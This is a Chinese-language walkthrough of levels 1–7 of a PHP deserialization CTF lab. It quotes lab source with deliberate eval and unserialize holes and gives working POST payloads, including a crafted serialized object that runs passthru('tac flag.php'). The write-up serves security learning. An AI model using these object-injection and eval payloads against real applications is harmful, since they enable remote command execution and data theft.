使用的是探姬制作的反序列化靶场 PHPSerialize-labs
直接下载ZIP后用中间件指向目录即可,小皮也可以
Level 1: 类的实例化
打开题目,我们看到定义了一个类 FLAG,在该类中还使用了 __construct()
方法,在创建对象时会自动调用
使用
new xxx();
来实例化一个对象

得到flag

Level 2: 对象中值的传递
观察本题源代码:
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 ---
HINT:尝试将flag传递出来~
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
error_reporting(0);
$flag_string = "HelloCTF{????}";
class FLAG{
public $free_flag = "???";
function get_free_flag(){
echo $this->free_flag;
}
}
$target = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
$target->get_free_flag();
}
else{
highlight_file('source');
}
Now Flag is ???
我们可以发现,flag值应该就在flag_string变量中,那么我们可以有多种方法获取到其值
方法一:直接输出
我们发现flag_string变量是一个全局变量,他是定义在类之外的。那么直接输出其值
code=echo $flag_string; exit;

方法二:利用变量传递
我们观察代码,发现下方会调用get_free_flag()函数,该函数会输出free_flag的值,那么我们修改 $target->free_flag
使其等于 $flag_string
->
用于访问 对象的属性(变量)或方法(函数)。它的作用类似于其他语言中的.
(如 JavaScript、Python)
code=$target->free_flag = $flag_string;
然后就可以直接输出flag了

方法三:暴力输出所有变量
既然flag存储在变量中,那么我们直接输出所有变量再观察flag即可。
code=var_dump(get_defined_vars());

然后就看到flag
level 3:对象中值的权限
方法一:暴力获取所有变量
源代码:
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 ---
HINT:尝试将flag传递出来~
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG{
public $public_flag = "HelloCTF{?";
protected $protected_flag = "?";
private $private_flag = "?}";
function get_protected_flag(){
return $this->protected_flag;
}
function get_private_flag(){
return $this->private_flag;
}
}
class SubFLAG extends FLAG{
function show_protected_flag(){
return $this->protected_flag;
}
function show_private_flag(){
return $this->private_flag;
}
}
$target = new FLAG();
$sub_target = new SubFLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
echo "Trying to get FLAG...<br>";
echo "Public Flag: ".$target->public_flag."<br>";
echo "Protected Flag:".$target->protected_flag ."<br>";
echo "Private Flag:".$target->private_flag ."<br>";
}
?>
Trying to get FLAG...
Public Flag: HelloCTF{se3_me_
Protected Flag: Error: Cannot access protected property FLAG:: in ?
Private Flag: Error: Cannot access private property FLAG:: in ?
...Wait,where is the flag?
还是同上一题一样,所有的值存储在变量中,同时观察代码容易发现,flag是被分为了三部分,第一部分为HelloCTF{ 开头,第二部分为不带大括号的中间内容,第三部分是以反大括号结尾的。
code=var_dump(get_defined_vars());

方法二:逐个输出变量
本题中,protected_flag
和private_flag
两个变量不是全局变量,是在FLAG类中的私有变量,也就是说在该类中才可调用,我们观察到在代码中有创建对象的操作,即 $target=new FLAG();
,那么我们直接输出这个对象中的值即可
code=echo $target->public_flag,$target->get_protected_flag(),$target->get_private_flag();exit;

获取类中的变量这个和python也是一样的,如我也创建一个FLAG类
class FLAG:
def __init__(self):
self.public_flag = "flag{"
self._protected_flag = "哈哈哈"
self.__private_flag = "终于要放假了}"
target = FLAG()
try:
print(public_flag)
print(protected_flag)
print(private_flag)
except:
print("你TM都不知道自己在干啥")
print(target.public_flag+target._protected_flag+target._FLAG__private_flag)
在类中同样切分三部分,不同的只是,在python中,类之内变量默认为public, _ 表示protected, __代表private,我们实例化对象之后,才可以调用它的 protected 和 private 变量。

可以看到,上面直接调变量名的都无法访问,下方加上实例化的变量名,同时private变量还要加上.类名
才能正常访问
level 4:序列化初体验
首先查看源码
class FLAG3{
private $flag3_object_array = array("?","?");
}
class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;
function __construct() {
$this->flag3_object = new FLAG3();
}
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}
观察代码,发现流程是:
- 定义了两个类:
FLAG3
类:包含一个私有属性$flag3_object_array
,是一个数组,初始值为两个问号FLAG
类:包含三个私有属性:
$flag1_string
:字符串,初始为问号$flag2_number
:数字(但用字符串表示),初始为问号$flag3_object
:一个FLAG3类的对象- 程序创建了一个
FLAG
类的实例$flag_is_here
- 然后检查是否有POST参数
code
:
- 如果有,就执行
eval($code)
- 如果没有,就高亮显示当前文件内容
方法一:暴力输出变量
依旧是直接暴力输出变量的值,使用:
code=var_dump($flag_is_here);
输出实例化之后的对象中所有的值

可以看见flag1_string
变量的值应该就是flag
方法二:使用ReflectionClass
ReflectionClass
是 PHP 的反射类,用于在运行时动态获取和操作类的信息(如属性、方法、接口等),无需实例化即可分析类结构。核心功能:
- 获取类名、命名空间、父类、接口等元信息。
- 检查类特性(是否抽象、接口、Trait)。
- 访问私有/受保护属性和方法(通过
setAccessible(true)
)。- 动态实例化对象(即使构造函数私有)。
典型用途:依赖注入、单元测试、代码分析工具。
示例:
$class = new ReflectionClass('User');
$props = $class->getProperties(); // 获取所有属性
$methods = $class->getMethods(); // 获取所有方法
最终Payload:
code=$ref=new ReflectionClass($flag_is_here);$prop=$ref->getProperty("flag1_string");$prop->setAccessible(true);echo $prop->getValue($flag_is_here);

主要是这几步:
1、创建反射类对象
$ref = new ReflectionClass($flag_is_here);
- 获取
$flag_is_here
的类信息。
2、获取目标属性
$prop = $ref->getProperty("flag1_string");
- 找到类中的
flag1_string
属性(可能是private
或protected
)。
绕过访问限制
$prop->setAccessible(true);
- 允许访问私有/受保护的属性。
获取并输出属性值
echo $prop->getValue($flag_is_here);
- 读取
$flag_is_here
对象的flag1_string
值并打印。
方法三:序列化
PHP在序列化的时候,会把protected和private属性的变量也同时序列化,只是为了区分不同作用域的属性,PHP 会在私有属性名前添加:
-
private
属性 →\x00类名\x00属性名
(如FLAGflag1_string
) -
protected
属性 →\x00*\x00属性名
-
public
属性 → 直接存储属性名

level 5:序列化的普通值规则
直接看源代码
<?php
$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);
if(
$your_boolean &&
$your_NULL == null &&
$your_string == "IWANT" &&
$your_number == 1 &&
$your_object->a_value == "FLAG" &&
$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
echo $flag;
}
else{
echo "You really know how to serialize?";
}
只要这几个变量的反序列化之后的值等于if中这些变量的值,那么就可以获得flag了。那么也就是说,直接把对比结果序列化,然后再对应给相应的变量即可。即
$a_string = "HelloCTF"; /*<=等价于=>*/ $a_string = unserialize('s:8:"HelloCTF";');
那么我们直接使用php代码将内容序列化
<?php
class a_class{
public $a_value = "HelloCTF";
}
$your_object = new a_class();
$your_boolean = true;
$your_NULL = null;
$your_string = "IWANT";
$your_number = 1;
$your_object->a_value = "FLAG";
$your_array = array('a'=>"Plz",'b'=>"Give_M3");
$exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);
echo $exp;
得到最终exp

o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&s=s:5:"IWANT";&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&i=i:1;&b=b:1;&n=N;

level 6:序列化的权限修饰规则
使用序列化输出变量时,会有一些附加字符来标明其属性
- protected(受保护):
%00*%00变量名
- private(私有):
%00类名%00变量名
然而%00是不可见字符,所以在做反序列化的题目时,我们可以加上urlencode()
来避免不可见字符。
首先来查看本题源代码
class protectedKEY{
protected $protected_key;
function get_key(){
return $this->protected_key;
}
}
class privateKEY{
private $private_key;
function get_key(){
return $this->private_key;
}
}
See Carfully~
protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D
<?php
$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);
if(isset($protected_key)&&isset($private_key)){
if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
echo $flag;
} else {
echo "We Call it %00_Contr0l_Characters_NULL!";
}
} else {
highlight_file(__FILE__);
}
我们可以看到,本题以POST方式接受protected_key
和private_key
两个变量,同时$protected_key
对象的 get_key()
方法返回值等于字符串 “protected_key”且$private_key
对象的 get_key()
方法返回值等于字符串 “private_key”,就会返回flag字符串。那么我们写exp
<?php
class protectedKEY{
protected $protected_key = "protected_key";
}
class privateKEY{
private $private_key = "private_key";
}
$exp = "protected_key=".urlencode(serialize(new protectedKEY))."&private_key=".urlencode(serialize(new privateKEY));
echo $exp;
注意看这个代码,可能会有点疑惑,对比逻辑是与两个字符串进行对比,那么我直接序列化两个字符串不就行了,但是这里是因为使用了->,相当于Python中的点,起继承作用,所以其必须为一个对象。结果
protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D

level 7:实例化和反序列化
class FLAG{
public $flag_command = "echo 'Hello CTF!<br>';";
function backdoor(){
eval($this->flag_command);
}
}
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
$Instantiate_object = new FLAG(); // 实例化的对象
$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象
$Instantiate_object->backdoor();
$Unserialize_object->backdoor();
'$Instantiate_object->backdoor()' will output:Hello CTF!
'$Unserialize_object->backdoor()' will output:Hello World!
<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();
本题就是一个简单的反序列化,我们观察到上方的$flag_command
变量有一个backdoor()
方法,所以我们就实例化一个类,然后使用该方法。同时注意,由于本题涉及到命令执行,我们常用的命令都是Linux的,所以在Windows上无法生效。同时需要5.X的PHP版本,同时修改配置文件解除函数限制。而且不能使用Nginx,Nginx依然存在安全机制,Apache没试过。所以我们使用PHP内置服务器。
php -S 0.0.0.0:端口
注意S大写,EXP:
<?php
class FLAG{
public $flag_command = "passthru('tac flag.php');";
}
$exp = "o=".serialize(new FLAG());
echo $exp;
本题不需要使用URL编码,如果要用,需要使用空格代替编码的加号
